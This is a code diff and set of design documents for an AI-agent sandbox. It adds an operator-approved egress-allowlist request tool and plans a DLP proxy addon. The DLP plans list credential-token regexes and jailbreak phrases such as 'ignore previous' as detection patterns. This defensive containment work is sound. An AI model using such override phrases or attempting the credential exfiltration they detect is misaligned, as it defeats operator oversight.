"`egress-block` proposal so the new routes file "
"extends the live one rather than replacing it. "
"Pipelock's allowlist is a mirror of this set — every "
"host listed here is also reachable through pipelock's "
"downstream hostname gate."
),
"inputSchema": {
"type": "object",
@@ -212,12 +216,48 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
"additionalProperties": False,
},
},
{
"name": _sv.TOOL_PIPELOCK_BLOCK,
"description": (
"Call when pipelock refused your outbound request and "
"the failing host is genuinely missing from the bottle's "
"allowlist (vs. blocked for DLP reasons — those need a "
"different remediation). In practice pipelock's allowlist "
"is now a mirror of the egress routes set by "
"`egress-block`, so prefer that tool when you want "
"to add a host. This tool stays available for the rare "
"case where pipelock and egress have diverged. "
"Pass the full URL you tried to hit (scheme + host + "
"path); the supervisor extracts the hostname and merges "
"it into pipelock's allowlist. On approval the "
"supervisor restarts pipelock."
),
"inputSchema": {
"type": "object",
"properties": {
"failed_url": {
"type": "string",
"description": (
"The full URL pipelock blocked, e.g. "
"https://api.github.com/repos/foo/bar. Scheme "
"and hostname are required; path is recorded "
"as operator context."
),
},
"justification": {
"type": "string",
"description": "Why the new host should be allowed.",
},
},
"required": ["failed_url", "justification"],
},
},
{
"name": _sv.TOOL_CAPABILITY_BLOCK,
"description": (
"Call when the bottle is missing a tool, skill, permission, "
"or env var you need — something that lives in the agent "
"Dockerfile rather than in the egress routes. "
"Dockerfile rather than in routes or the pipelock allowlist. "
"Read the current Dockerfile from "
"/etc/bot-bottle/current-config/Dockerfile, compose a "
"modified version, and pass the full new file plus a "
@@ -243,10 +283,27 @@ TOOL_DEFINITIONS: list[dict[str, object]] = [
]
# Map each non-egress tool to the input field that carries the agent's
# payload (stored in Proposal.proposed_file). egress-block builds its
# payload from structured input fields in `handle_egress_block`.
# Map each tool to the input field that carries the agent's
# tool-specific payload (stored in Proposal.proposed_file as
# free-form text the apply path interprets per tool).
#
# egress-block: JSON object describing a SINGLE route to
# add — `{host, path_allowlist?, auth?}`. The
# supervisor merges this into the live routes
# file at approval time.
# pipelock-block: the full failed URL (scheme + host + path) —
# supervisor extracts the host, merges into the
# bottle's current allowlist; the path is shown
# to the operator for context (pipelock doesn't
# do path-level matching).
# capability-block: full proposed Dockerfile
#
# Egress-proxy-block doesn't use a single "field name" → the JSON
# payload is constructed from multiple structured input fields in
# `handle_egress_block`. The mapping stays one-entry-per-tool
# so the generic dispatch keeps working for the other two.
PROPOSED_FILE_FIELD: dict[str, str] = {
_sv.TOOL_PIPELOCK_BLOCK: "failed_url",
_sv.TOOL_CAPABILITY_BLOCK: "dockerfile",
}
@@ -265,7 +322,23 @@ def validate_proposed_file(tool: str, content: str) -> None:
enter the queue."""
if not content.strip():
raise _RpcError(ERR_INVALID_PARAMS, f"{tool}: proposed file is empty")
if tool == _sv.TOOL_CAPABILITY_BLOCK:
if tool == _sv.TOOL_PIPELOCK_BLOCK:
# `content` is the full failed URL. Require scheme + host so
# the supervisor can extract a hostname for the allowlist
# merge; the path is preserved for operator context.
parsed = urllib.parse.urlsplit(content.strip())
if parsed.scheme not in ("http", "https"):
raise _RpcError(
ERR_INVALID_PARAMS,
f"{tool}: failed_url must start with http:// or https:// "
f"(got {content!r})",
)
if not parsed.hostname:
raise _RpcError(
ERR_INVALID_PARAMS,
f"{tool}: failed_url is missing a hostname (got {content!r})",
)
elif tool == _sv.TOOL_CAPABILITY_BLOCK:
# Dockerfiles are too varied to validate syntactically beyond
# non-empty. The operator reads the diff in the TUI.
pass
@@ -409,7 +482,7 @@ def handle_tools_call(
if not isinstance(name, str):
raise _RpcError(ERR_INVALID_PARAMS, "tools/call missing 'name'")
if name == _sv.TOOL_LIST_EGRESS_ROUTES:
return handle_list_egress_routes(typing.cast(dict[str, object], params.get("arguments", {})), config)
return handle_list_egress_routes(params.get("arguments", {}), config)
args_raw = params.get("arguments", {})
if not isinstance(args_raw, dict):
@@ -514,7 +587,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
server_version = f"{SERVER_NAME}/{SERVER_VERSION}"
def log_message(self, format: str, *args: typing.Any) -> None: # noqa: A002
def log_message(self, format: str, *args: typing.Any) -> None:
if os.environ.get("SUPERVISE_DEBUG"):
super().log_message(format, *args)
@@ -554,7 +627,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
except _RpcError as e:
self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
return
except Exception as e: # noqa: W0718 — catch-all for RPC dispatch errors
except Exception as e: # pragma: no cover — defensive
sys.stderr.write(f"supervise: internal error: {e}\n")
self._write_jsonrpc(jsonrpc_error(req.id, ERR_INTERNAL, "internal error"))
return
bot_bottle/workspace.py
+2 -9
View File
@@ -13,15 +13,8 @@ DEFAULT_WORKSPACE_MODE = "755"
class WorkspaceSpec(Protocol):
@property
def copy_cwd(self) -> bool:
"""Whether to copy the current working directory."""
...
@property
def user_cwd(self) -> str:
"""The user's current working directory."""
...
copy_cwd: bool
user_cwd: str
@dataclass(frozen=True)
bot_bottle/yaml_subset.py
+3 -5
View File
@@ -58,12 +58,11 @@ from __future__ import annotations
import re
from dataclasses import dataclass
from typing import cast
class YamlSubsetError(ValueError):
"""Raised when input violates the YAML subset's rules. Callers
that want fatal-exit semantics (manifest loader, egress-apply,
that want fatal-exit semantics (manifest loader, pipelock-apply,
etc.) catch this at their own boundary and forward to `die`;
callers running outside the bot-bottle CLI process (the
egress sidecar's addon) handle it as a normal exception."""
@@ -284,7 +283,7 @@ def _split_flow(body: str, lineno: int, kind: str) -> list[str]:
depth_c = 0
in_single = False
in_double = False
cur: list[str] = []
cur = []
for ch in body:
if ch == "'" and not in_double:
in_single = not in_single
@@ -331,7 +330,6 @@ def _split_key_value(content: str, lineno: int) -> tuple[str, str]:
if i + 1 >= len(content) or content[i + 1] in (" ", "\t"):
return content[:i].strip(), content[i + 1:].lstrip()
die(f"yaml-subset: line {lineno} missing `: ` separator: {content!r}")
return "", "" # unreachable, but needed for type checker
def _parse_block(
@@ -538,7 +536,7 @@ def parse_yaml_subset(text: str) -> dict[str, object]:
)
if not isinstance(value, dict):
die("yaml-subset: top-level value must be a mapping")
return cast(dict[str, object], value)
return value
def parse_frontmatter(text: str) -> tuple[dict[str, object], str]:
docs/ci.md
+4 -6
View File
@@ -22,9 +22,7 @@ mounted in. That topology breaks two assumptions those tests make:
`http://127.0.0.1:<host_port>` from inside the job time out.
The affected tests (`test_orphan_cleanup.test_create_and_remove`,
`test_sidecar_bundle_image.TestSidecarBundleImage`,
`test_sidecar_bundle_compose.TestSidecarBundleCompose`) still run
locally where the test process and Docker daemon share a host.
Making them work in CI is a follow-up: either re-write them to
discover container IPs via `docker inspect`, or reconfigure the
runner with host networking.
`test_pipelock_sidecar_smoke.test_smoke`) still run locally where the
test process and Docker daemon share a host. Making them work in CI
is a follow-up: either re-write them to discover container IPs via
`docker inspect`, or reconfigure the runner with host networking.
docs/prds/prd-new-named-labelled-agents.md → docs/prds/0049-named-labelled-agents.md
+18 -29
View File
@@ -1,4 +1,4 @@
# PRD prd-new: Named / Labelled Agents
# PRD 0049: Named / Labelled Agents
- **Status:** Draft
- **Author:** didericis
@@ -53,10 +53,9 @@ which breaks the moment they switch windows.
label substring is rendered in that color.
6. `BottleSpec` carries `label` and `color`; the docker backend's `prepare`
step copies them into `BottleMetadata`.
7. `ClaudeAgentProvider.provision_plan()` in
`bot_bottle/contrib/claude/agent_provider.py` writes `label` → `"name"` and
`color` → `"color"` into the generated `claude.json`, alongside the existing
fields. Fields are omitted when empty.
7. `agent_provider.py` writes `label` → `"name"` and `color` → `"color"` into
the generated `claude.json`, alongside the existing fields. Fields are
omitted when empty.
8. The dashboard's `_new_agent_flow` (PRD 0020) includes the label+color step
between agent selection and the backend picker.
9. `cmd_start` (CLI) includes the label+color step after argument validation
@@ -91,8 +90,8 @@ BottleSpec.label, BottleSpec.color
│
├─► docker/prepare.py → BottleMetadata.label / .color → metadata.json
│
└─► contrib/claude/agent_provider.py → claude.json {"name": label, "color": color}
(omitted when empty)
└─► agent_provider.py → claude.json {"name": label, "color": color}
(omitted when empty)
dashboard refresh
│
@@ -232,18 +231,8 @@ Both use `read_tty_line()` (already in `start.py`) for the read.
### Claude Code config injection
Per PRD 0050, the `claude.json` trust-marker file is written by
`ClaudeAgentProvider.provision_plan()` in
`bot_bottle/contrib/claude/agent_provider.py`. Add `label: str = ""` and
`color: str = ""` keyword parameters to `provision_plan()` on both the
`AgentProvider` ABC and `ClaudeAgentProvider`, and to the
`agent_provision_plan()` shim in `agent_provider.py`. The docker and
smolmachines `prepare.py` modules pass `spec.label` / `spec.color` when
calling `agent_provision_plan()`; other providers accept the params and ignore
them.
In `ClaudeAgentProvider.provision_plan()`, expand the JSON payload
conditionally:
In `agent_provider.py`, where `claude_config.write_text(...)` is called,
expand the JSON dict conditionally:
```python
payload = {
@@ -252,13 +241,17 @@ payload = {
"bypassPermissionsModeAccepted": True,
"projects": claude_projects,
}
if label:
payload["name"] = label
if color:
payload["color"] = color
if spec.label:
payload["name"] = spec.label
if spec.color:
payload["color"] = spec.color
claude_config.write_text(json.dumps(payload, indent=2) + "\n")
```
`spec` here is the `AgentProvisionSpec` (or equivalent) that `agent_provider`
already receives; it needs `label` and `color` threaded in from `BottleSpec`
through whatever plan/provision object the provider operates on.
## Implementation chunks
Two PRs, each independently mergeable.
@@ -270,12 +263,8 @@ Two PRs, each independently mergeable.
- `docker/prepare.py`: copy `spec.label` / `spec.color` into `BottleMetadata`.
- `docker/enumerate.py`: copy `metadata.label` / `metadata.color` into
`ActiveAgent`.
- Add `label: str = ""` and `color: str = ""` keyword params to
`AgentProvider.provision_plan()` (ABC), `ClaudeAgentProvider.provision_plan()`
(uses them in the `claude.json` write), and the `agent_provision_plan()` shim.
Other providers (`CodexAgentProvider`) accept the params and ignore them.
- `docker/prepare.py` and `smolmachines/prepare.py`: pass `spec.label` /
`spec.color` to `agent_provision_plan()`.
- `agent_provider.py` (or the plan object it reads): thread label/color through
to `claude.json` write.
- Smolmachines backend: parallel changes to metadata read/write and
`ActiveAgent` construction.
- No prompt changes; no UI changes. All existing behavior is identical.
docs/prds/0051-launch-selector.md
-157
View File
@@ -1,157 +0,0 @@
# PRD 0051: Launch selector
- **Status:** Active
- **Author:** claude
- **Created:** 2026-06-04
- **Issue:** #185
## Summary
When `./cli.py start` is run without an agent name, or without a backend
explicitly specified, the user currently gets an argparse error (missing
positional) or falls through to the `docker` default silently. This PRD
adds a terminal UI that appears in those gaps: a filter-select screen
built with `curses` that lets the operator pick the agent and/or backend
interactively rather than memorising names or consulting `./cli.py list`.
## Problem
With the dashboard removed (PRD 0049), starting an agent from memory is
the only path. The operator must know the exact agent name and type it
as a positional argument. For infrequent users or large manifests this
is friction. A picker that appears automatically when the name is absent
closes the gap with minimal ceremony.
The same logic applies to backends: the operator rarely wants to specify
`--backend` explicitly, but when they do they need to know the set of
registered names. A picker on an empty `--backend` makes the choice
visible.
## Goals / Success Criteria
1. `./cli.py start` (no arguments) shows an interactive agent selector;
the selected name is used exactly as if it had been passed on the
command line.
2. `./cli.py start <name>` (no `--backend`, no `BOT_BOTTLE_BACKEND`)
shows an interactive backend selector; the selected backend is used
exactly as if `--backend=<selected>` had been passed.
3. `./cli.py start <name> --backend=<b>` (both explicit) shows neither
screen — no behavioural change from today.
4. `./cli.py start` (no arguments, no env backend) shows the agent
selector first, then the backend selector.
5. The filter-select widget is a standalone utility
(`bot_bottle/cli/tui.py`) shared by both selectors.
6. Pressing `Ctrl-C` or `q` in either selector exits cleanly (exit 0).
7. The widget supports incremental filtering: typing narrows the list;
`Backspace` removes the last character; `↑`/`↓`/`j`/`k` move the
cursor; `Enter` confirms; `Esc`/`q` cancels.
8. Unit tests cover: filtering logic, cursor movement, confirm, cancel,
and the `cmd_start` dispatch (agent-absent, backend-absent,
both-explicit, both-absent).
## Non-goals
- The TUI is not a general-purpose picker exposed as a public API;
it is an internal CLI utility.
- No mouse support.
- No pagination beyond what fits in the terminal window (scroll via
cursor movement is sufficient for typical agent counts).
- No multi-select; exactly one item is chosen per invocation.
- No changes to `./cli.py resume`, `./cli.py list`, or any other
subcommand.
## Design
### `bot_bottle/cli/tui.py` — `filter_select`
```python
def filter_select(
items: list[str],
*,
title: str = "",
tty_path: str = "/dev/tty",
) -> str | None:
"""Render a filter-select picker over the items list.
Returns the selected item string, or None if the user cancelled
(Esc / q / Ctrl-C / Ctrl-D).
Opens /dev/tty directly so the picker works even when stdout/stdin
are redirected — same pattern as `read_tty_line`.
"""
```
The widget renders to the tty file descriptor opened via `curses.initscr`
(or `curses.newterm` on the tty fd so stdout remains clean for callers
that pipe `./cli.py`).
Layout (full-width, minimal):
```
Select agent (title, top line)
Filter: <query>_ (filter line)
─────────────────────────────
> researcher
implementer
codex-researcher
...
─────────────────────────────
[↑↓/jk] move [Enter] select [Esc/q] cancel
```
- Lines below the filter are the filtered items; the cursor (`>`) marks
the selection.
- The list re-renders on every keypress.
- Terminal resize is not handled (SIGWINCH); if the window is too small
the picker exits with None.
### Changes to `cmd_start`
`name` changes from a required positional to an optional one
(`nargs="?"`). The post-parse block checks:
```python
agent_name = args.name
if agent_name is None:
manifest = Manifest.resolve(USER_CWD)
agent_name = tui.filter_select(
sorted(manifest.agents.keys()),
title="Select agent",
)
if agent_name is None:
return 0 # user cancelled
backend_name = args.backend
if backend_name is None and "BOT_BOTTLE_BACKEND" not in os.environ:
backend_name = tui.filter_select(
list(known_backend_names()),
title="Select backend",
)
if backend_name is None:
return 0 # user cancelled
```
The `manifest` object is resolved before the backend selection so the
agent picker can populate itself from the real manifest. The same
`manifest` is passed to `BottleSpec`; it is not resolved a second time.
### `/dev/tty` isolation
`filter_select` opens `/dev/tty` and feeds it as the input file to
`curses.wrapper`-equivalent code (using `curses.newterm` to avoid
clobbering the caller's stdout/stderr). This keeps the picker
composable — callers can pipe `./cli.py` output without the curses
draw sequences contaminating the pipe.
## Implementation chunks
1. **`tui.py` + tests.** Add `bot_bottle/cli/tui.py` with
`filter_select` and unit tests in `tests/unit/test_cli_tui.py`.
2. **Wire into `cmd_start` + tests.** Make `name` optional, add the
two-gate dispatch, extend `tests/unit/test_cli_start_selector.py`.
3. **Activate PRD 0051.** Flip Status Draft → Active in the same commit
that lands the implementation.
## Open questions
None. Scope is fully determined by the issue description.
docs/prds/0052-egress-dlp-addon.md
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# PRD 0052: Egress DLP addon
- **Status:** Active
- **Author:** claude
- **Created:** 2026-06-05
- **Issue:** #195
## Summary
With pipelock removed (PR #193), the egress proxy no longer performs DLP
scanning on traffic to or from the agent. This PRD implements a replacement
directly inside the mitmproxy egress addon: per-route DLP detectors that
scan outbound requests for credential leakage and inbound responses for
prompt injection attempts.
The manifest route schema is also upgraded in this PRD from the flat
`path_allowlist` field to a structured `matches` block modelled on the
[Kubernetes Gateway API `HTTPRoute`](https://gateway-api.sigs.k8s.io/reference/spec/#gateway.networking.k8s.io/v1.HTTPRouteMatch)
match vocabulary. This upgrade is a hard cutover — no compatibility shim
for the old format. The rationale and format survey are in the
[YAML route matching formats research doc](https://gitea.dideric.is/didericis/bot-bottle/src/branch/main/docs/research/yaml-route-matching-formats.md).
DLP detectors attach to the new `matches`-based routes directly.
The design follows the recommendation in the
[DLP research document (PR #192)](https://gitea.dideric.is/didericis/bot-bottle/pulls/192)
and covers all three remaining implementation phases from that plan:
1. Token pattern detection (Phase 1a)
2. Known-secrets detection (Phase 1b)
3. Naive prompt injection detection (Phase 2)
## Problem
Pipelock was removed because it could not support per-route response
scanning, blocking selective DLP policies (e.g., skip scanning `.whl`
downloads while keeping scanning on API calls). Removing it left the egress
proxy with no DLP capability at all. The egress addon already holds per-route
logic for path allowlisting and credential injection; DLP rules belong in the
same place.
The existing `path_allowlist` field is also limiting: it only supports path
prefixes, with no way to express exact-path, regex, method, or header
constraints. The Gateway API match vocabulary is a well-specified, widely
deployed standard that covers all of these without inventing new syntax.
## Goals / Success Criteria
1. Outbound request bodies and headers are scanned for known token patterns
(AWS, GitHub, Anthropic, etc.) before the request reaches the upstream.
Matches are blocked immediately.
2. Outbound request bodies are scanned for provisioned secrets that the
agent should not have direct access to. Matches are blocked immediately.
3. Inbound response bodies are scanned for prompt disclosure and jailbreak
signals. High-confidence matches are blocked; medium-confidence matches
emit a log warning and are forwarded.
4. DLP scanning is enabled by default on every route. Individual routes can
selectively disable outbound detectors, inbound detectors, or both via a
`dlp` block in the manifest.
5. All detector logic lives in `egress_addon_core.py` (pure Python, no
mitmproxy dependency) and is covered by unit tests on the host.
6. Each route's `matches` block supports path (exact/prefix/regex), HTTP
method, and header predicates using Gateway API match semantics.
7. The manifest change is a hard cutover: `path_allowlist` is removed with
no fallback, no deprecation alias, and no loud exception for old-format
manifests. Old manifests that use `path_allowlist` will fail validation
at load time with an unknown-key error (same as any other unrecognised
key today).
## Non-goals
- LLM-based semantic prompt injection detection (explicitly deferred to a
potential Phase 2b per the research doc).
- Entropy-based secret detection (excluded from scope; too many false
positives on binary API responses and compressed payloads).
- BIP-39 seed-phrase detection.
- Generic DLP (credit cards, SSNs, PII) — scope is narrow: AI/credential
exfil relevant to agent containment.
- Changes to the cred-proxy sidecar.
- Streaming response scanning (scan buffered response body only).
- Glob-style path matching — regex covers every case glob would handle
without adding a third path-matching language.
## Design
### Route matching: Gateway API `matches` vocabulary
The existing `path_allowlist` field is replaced by a `matches` list. The
vocabulary mirrors Kubernetes Gateway API `HTTPRouteMatch` (see the
[route matching research doc](https://gitea.dideric.is/didericis/bot-bottle/src/branch/main/docs/research/yaml-route-matching-formats.md)
for a full format survey and rationale). Gateway API was chosen because it
is spec-backed, implementation-tested across multiple proxies, and its
`{type, value}` pattern is consistent and schema-validatable.
**AND/OR semantics** (same as Gateway API):
- Predicates *within* a single `matches` entry are ANDed.
- Multiple entries in the `matches` list are ORed — the route matches if
any entry matches.
```yaml
egress:
routes:
# Bare route — all traffic to this host is forwarded (no path/method/header
# constraints). Equivalent to the old path_allowlist-omitted case.
- host: api.anthropic.com
auth:
scheme: Bearer
token_ref: EGRESS_TOKEN_0
# Two match entries (OR): GET/HEAD on /packages/** OR POST on /upload
- host: files.pythonhosted.org
matches:
- paths:
- type: prefix
value: /packages/
methods: [GET, HEAD]
- paths:
- type: exact
value: /upload
methods: [POST]
dlp:
inbound_detectors: false # skip response scanning (binary downloads)
# Header + regex path — only JSON API responses on versioned endpoints
- host: internal-api.corp
matches:
- paths:
- type: regex
value: "^/v[0-9]+/"
headers:
- name: Content-Type
type: exact
value: application/json
dlp:
outbound_detectors: false
inbound_detectors: false
```
#### Path matching types
| `type` | Semantics |
|--------|-----------|
| `exact` | Full path must equal `value` exactly |
| `prefix` | Path must start with `value` at a segment boundary (matches `/api/v1` for value `/api/v1`, rejects `/api/v10`) |
| `regex` | RE2 regex; rejected at load time if pattern fails to compile. Use for wildcard needs: `/api/[^/]+/data` instead of glob |
`type` defaults to `prefix` when omitted (preserves the semantic of the
old `path_allowlist`).
#### Method matching
`methods` is a list of HTTP method names, case-insensitive at parse time —
`get`, `GET`, and `Get` are all accepted and stored as uppercase internally.
An absent or empty `methods` list means all methods are permitted.
#### Header matching
`headers` is a list of `{name, value, type}` objects. ALL listed headers
must match (AND semantics). To OR on header values, use multiple `matches`
entries.
| `type` | Semantics |
|--------|-----------|
| `exact` | Header value equals `value` (default when `type` omitted) |
| `regex` | Header value matches RE2 regex |
### Manifest schema — `dlp` block
Each `egress.routes` entry gains an optional `dlp` key alongside `matches`
and `auth`:
```yaml
egress:
routes:
- host: api.anthropic.com
# dlp omitted → all detectors on (default)
- host: files.pythonhosted.org
dlp:
inbound_detectors: false # skip response scanning (binary downloads)
- host: internal-docs.corp
dlp:
outbound_detectors: false
inbound_detectors: false # trusted internal, no scanning
```
`outbound_detectors` controls scanning of the *request* body + headers
leaving the agent. `inbound_detectors` controls scanning of the *response*
body arriving from the upstream.
Valid values per field:
- Omitted (or `null`) — default: all detectors active.
- `false` — scanning disabled for this direction on this route.
- A list of detector names — only the listed detectors run.
Named outbound detectors: `token_patterns`, `known_secrets`.
Named inbound detectors: `naive_injection_detection`.
The manifest parser (`manifest_egress.py`) validates the `dlp` block and
rejects unknown detector names.
### `EgressRoute` changes
`EgressRoute` replaces `PathAllowlist` with `Matches` and gains two new
DLP fields. `MatchEntry` captures one AND-predicate block:
```python
@dataclass(frozen=True)
class PathMatch:
type: str # "exact" | "prefix" | "regex"
value: str
@dataclass(frozen=True)
class HeaderMatch:
name: str
value: str
type: str = "exact" # "exact" | "regex"
@dataclass(frozen=True)
class MatchEntry:
paths: tuple[PathMatch, ...] = () # empty = match any path
methods: tuple[str, ...] = () # empty = match any method (uppercase)
headers: tuple[HeaderMatch, ...] = () # empty = match any headers
@dataclass(frozen=True)
class EgressRoute:
Host: str
Matches: tuple[MatchEntry, ...] = () # empty = match all requests
AuthScheme: str = ""
TokenRef: str = ""
Role: tuple[str, ...] = ()
OutboundDetectors: tuple[str, ...] | None = None # None = all enabled
InboundDetectors: tuple[str, ...] | None = None # None = all enabled
```
`manifest_egress.py`'s `from_dict` parses the new `matches` block and `dlp`
block; `path_allowlist` is no longer a recognised key and will be rejected
by the unknown-key check.
### `Route` changes in `egress_addon_core.py`
The addon-side `Route` and its helper types mirror the manifest-side changes.
`match_route` is extended to evaluate the `Matches` list:
```python
@dataclass(frozen=True)
class Route:
host: str
matches: tuple[MatchEntry, ...] = ()
auth_scheme: str = ""
token_env: str = ""
outbound_detectors: tuple[str, ...] | None = None
inbound_detectors: tuple[str, ...] | None = None
```
`decide()` feeds through `match_route` (unchanged host lookup) then
evaluates the match entries in order; if the route has no `matches` entries
all requests pass. Path `prefix` type uses segment-boundary checking
(`/api/v1` matches `/api/v1/foo` but not `/api/v10`).
### Detector interface
Each detector is a pure function:
```python
def scan(body: str | bytes, *, env: Mapping[str, str] = {}) -> ScanResult | None:
...
```
`ScanResult` carries:
```python
@dataclass(frozen=True)
class ScanResult:
severity: str # "block" or "warn"
reason: str
```
`scan` returns `None` if the body is clean, `ScanResult` otherwise.
### Detector: `token_patterns`
Regex patterns for well-known credential formats, applied to the outbound
request body and `Authorization` header (before the addon strips it — the
strip happens after DLP scanning so that the scan sees any credential the
agent tried to smuggle):
| Token type | Pattern |
|------------|---------|
| AWS access key | `AKIA[0-9A-Z]{16}` |
| GitHub token (classic) | `ghp_[A-Za-z0-9_]{36}` |
| GitHub fine-grained | `github_pat_[A-Za-z0-9_]{82}` |
| Anthropic API key | `sk-ant-[A-Za-z0-9\-_]{93}` |
| OpenAI API key | `sk-[A-Za-z0-9]{48}` |
| Stripe live key | `sk_live_[A-Za-z0-9]{24}` |
| Generic Bearer JWT | `Bearer\s+[A-Za-z0-9._\-]{50,}` |
Action: `"block"` on any match. No tolerance — a credential in an outbound
request is always a violation.
### Detector: `known_secrets`
At request time the egress addon has access to `os.environ`, which includes
all `token_env` values declared by route auth blocks. The detector:
1. Collects all `EGRESS_TOKEN_*` values from the environment (the naming
contract established by `manifest_egress.py`'s `TokenRef` rendering).
2. For each secret value, derives encoded variants: raw, base64, URL-encoded,
hex.
3. Scans the outbound request body for any variant.
Action: `"block"` on match.
This detector does **not** accept a custom detector name in the YAML — it
is always named `known_secrets`. The environment is passed in via the `env`
keyword argument to `scan`.
### Detector: `naive_injection_detection`
Pattern-based inbound response scanner. Uses two tiers:
**Tier 1 — BLOCK (credential + disclosure together):**
- Response contains a token-pattern match (reuses `token_patterns` regex
set) AND a prompt-disclosure phrase (e.g., `system prompt`, `my instructions
are`, `hidden rules`).
**Tier 2 — WARN (multiple jailbreak signals):**
- Two or more jailbreak phrases detected (e.g., `ignore previous`,
`forget everything`, `pretend you are`, `act as`).
- OR explicit prompt disclosure (`system prompt:`) without a credential.
**Tier 3 — ALLOW:**
- Single jailbreak keyword without additional context.
- Common documentation phrases.
See the DLP research doc for the full phrase lists and pseudocode.
### Wiring into `egress_addon.py`
Two new mitmproxy hooks are added alongside the existing `request` hook:
```python
def request(self, flow: http.HTTPFlow) -> None:
# ... existing match + auth-injection logic ...
# After route decision, if action == "forward":
result = scan_outbound(route, flow.request, os.environ)
if result and result.severity == "block":
flow.response = http.Response.make(403, result.reason.encode(), ...)
return
def response(self, flow: http.HTTPFlow) -> None:
route = match_route(self.routes, flow.request.pretty_host)
if route is None:
return # already blocked at request time
result = scan_inbound(route, flow.response)
if result and result.severity == "block":
flow.response = http.Response.make(403, result.reason.encode(), ...)
elif result and result.severity == "warn":
sys.stderr.write(f"egress DLP warn: {result.reason}\n")
```
`scan_outbound` and `scan_inbound` are pure functions in
`egress_addon_core.py` that dispatch to the per-route detector list.
### Ordering: auth strip vs. DLP scan
The DLP outbound scan sees the *agent's original* `Authorization` header
before the addon strips it. This ensures that a token the agent smuggled
in the header is caught. The strip + optional re-injection still happens
afterward, preserving the existing credential-injection security model.
## Implementation chunks
1. **New `matches` block + `EgressRoute` / `Route` restructure.**
Remove `path_allowlist` from `manifest_egress.py` and `egress_addon_core.py`.
Add `MatchEntry`, `PathMatch`, `HeaderMatch` types. Parse `matches` in
`EgressRoute.from_dict` and `_parse_one`; unknown-key rejection handles
old `path_allowlist` manifests. Add `OutboundDetectors` / `InboundDetectors`
to `EgressRoute` and `Route`; parse `dlp` block. Extend
`tests/unit/test_manifest_egress.py` and `tests/unit/test_egress_addon_core.py`
with match and dlp valid/invalid cases.
2. **Token-patterns detector (Phase 1a).**
New module `bot_bottle/dlp_detectors.py` (host-importable) and
companion flat copy for the sidecar bundle. Add `TokenPatternsDetector`
with the regex set above. Wire `scan_outbound` into the `request` hook
in `egress_addon.py`. Unit tests in `tests/unit/test_dlp_detectors.py`.
3. **Known-secrets detector (Phase 1b).**
Add `KnownSecretsDetector` to `dlp_detectors.py`. Collect
`EGRESS_TOKEN_*` from env; derive encoded variants; scan request body.
Extend unit tests. Wire into `scan_outbound`.
4. **Naive prompt injection detector (Phase 2).**
Add `NaiveInjectionDetector` to `dlp_detectors.py`. Wire
`scan_inbound` into the new `response` hook in `egress_addon.py`.
Extend unit tests. Activate PRD 0052 (`Status: Draft → Active`) in
this commit.
## Open questions
1. **Response body buffering:** mitmproxy's `response` hook already has
the full body for non-streaming responses. For streaming (chunked)
responses the body may be empty or incomplete at hook time. Scope for
now: log a warning and skip scanning on streaming responses; revisit
if needed.
2. **Encoding breadth for `known_secrets`:** Start with raw + base64 +
URL-encoded + hex. Add GZIP / base32 if real-world evasion attempts
appear.
3. **`EGRESS_TOKEN_*` naming contract:** The detector relies on the
env-var naming convention from `manifest_egress.py`. If that contract
changes, the detector must be updated in lock-step.
docs/research/dlp-alternatives-to-pipelock.md
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# DLP alternatives to pipelock: per-route configuration and response handling
## Question
Pipelock lacks support for per-route or per-host response scanning rules, making it impossible to skip DLP scanning for large binary downloads (e.g., `.whl` files) while keeping scanning enabled for other traffic on the same host. Should we replace pipelock with a purpose-built DLP/token-scanning proxy that supports granular per-route configuration?
## Summary
Yes. Pipelock's flat, global configuration is fundamentally at odds with the per-route model bot-bottle is built on. A custom or configurable DLP proxy built atop mitmproxy (which we already use for egress) would let us:
1. **Skip DLP scanning selectively** — e.g., scan responses from PyPI for credentials but skip scanning `.whl` file contents
2. **Configure scanning per-route** — different rules for different hosts/paths without global toggles
3. **Reduce operational surface** — one proxy (egress) instead of two (egress + pipelock)
4. **Target AI-specific threats** — focus on credential exfiltration and prompt injection instead of generic DLP
**Tradeoff:** We'd need to maintain our own scanning logic. Pipelock provides out-of-the-box BIP-39 seed-phrase detection, entropy checks, and pluggable DLP rules. Building custom logic means we need to be explicit about what we're protecting against and keep that code auditable.
## Current pipelock limitations
### Issue 1: No per-route response scanning rules
Pipelock's response scanning is part of TLS interception — a global feature with no per-host knobs:
```yaml
tls_interception:
enabled: true
passthrough_domains: [...] # Can skip MITM, but not just response scanning
```
**Status:** Tested with pipelock v2.3.0. Confirmed that:
- `response_body_scanning` config field doesn't exist
- No way to set per-host response size limits
- No way to skip scanning for specific file extensions
- `tls_passthrough: true` disables both request AND response scanning (we want request scanning to stay on)
### Issue 2: Global configuration only
All of pipelock's scanning rules are global. If route A wants to skip `.whl` scanning and route B wants to skip `.tar.gz`, there's nowhere to express that distinction — the config is flat.
### Issue 3: LLM prompt-specific false positives
Pipelock's BIP-39 seed-phrase detector fires on any 12+ English words matching a checksum, which is common in LLM prompts/responses. Bot-bottle disables this detector globally, sacrificing protection.
### Issue 4: No prompt injection detection
**Important clarification:** Pipelock does NOT detect prompt injections. It detects:
- Token patterns (regex)
- Entropy (random-looking strings)
- BIP-39 seed phrases (12+ word checksums)
But it cannot detect semantic attacks like:
- Attempts to exfiltrate system prompts
- Jailbreak attempts ("ignore previous instructions")
- Model output that reveals internal system details
This is a novel threat specific to LLM agents that pipelock wasn't designed for.
## Replacement design: mitmproxy-based DLP addon
Since bot-bottle already uses mitmproxy for egress (PRD 0017), we can extend the mitmproxy addon to do DLP scanning alongside egress rules:
### Architecture
```
Agent
↓ (HTTP_PROXY=http://egress:8080)
Egress (mitmproxy)
├─ Addon 1: Path allowlisting (current)
├─ Addon 2: Credential injection (current)
└─ Addon 3: DLP scanning (NEW)
├─ Config: per-route scanning rules from manifest
├─ Detectors: token patterns, prompt injection, entropy
└─ Action: block/warn based on route config
```
### Per-route configuration in manifest
Routes separately configure **outbound** (request to upstream) and **inbound** (response from upstream) scanning:
```yaml
egress:
routes:
- host: api.anthropic.com
dlp:
outbound_detectors: [token_patterns, known_secrets] # default
inbound_detectors: [naive_injection_detection] # default
- host: files.pythonhosted.org
dlp:
outbound_detectors: [token_patterns, known_secrets]
inbound_detectors: false # Skip response scanning (binary downloads)
- host: internal-service.corp
dlp:
outbound_detectors: false
inbound_detectors: false # Trusted internal, no scanning
```
**Detectors:**
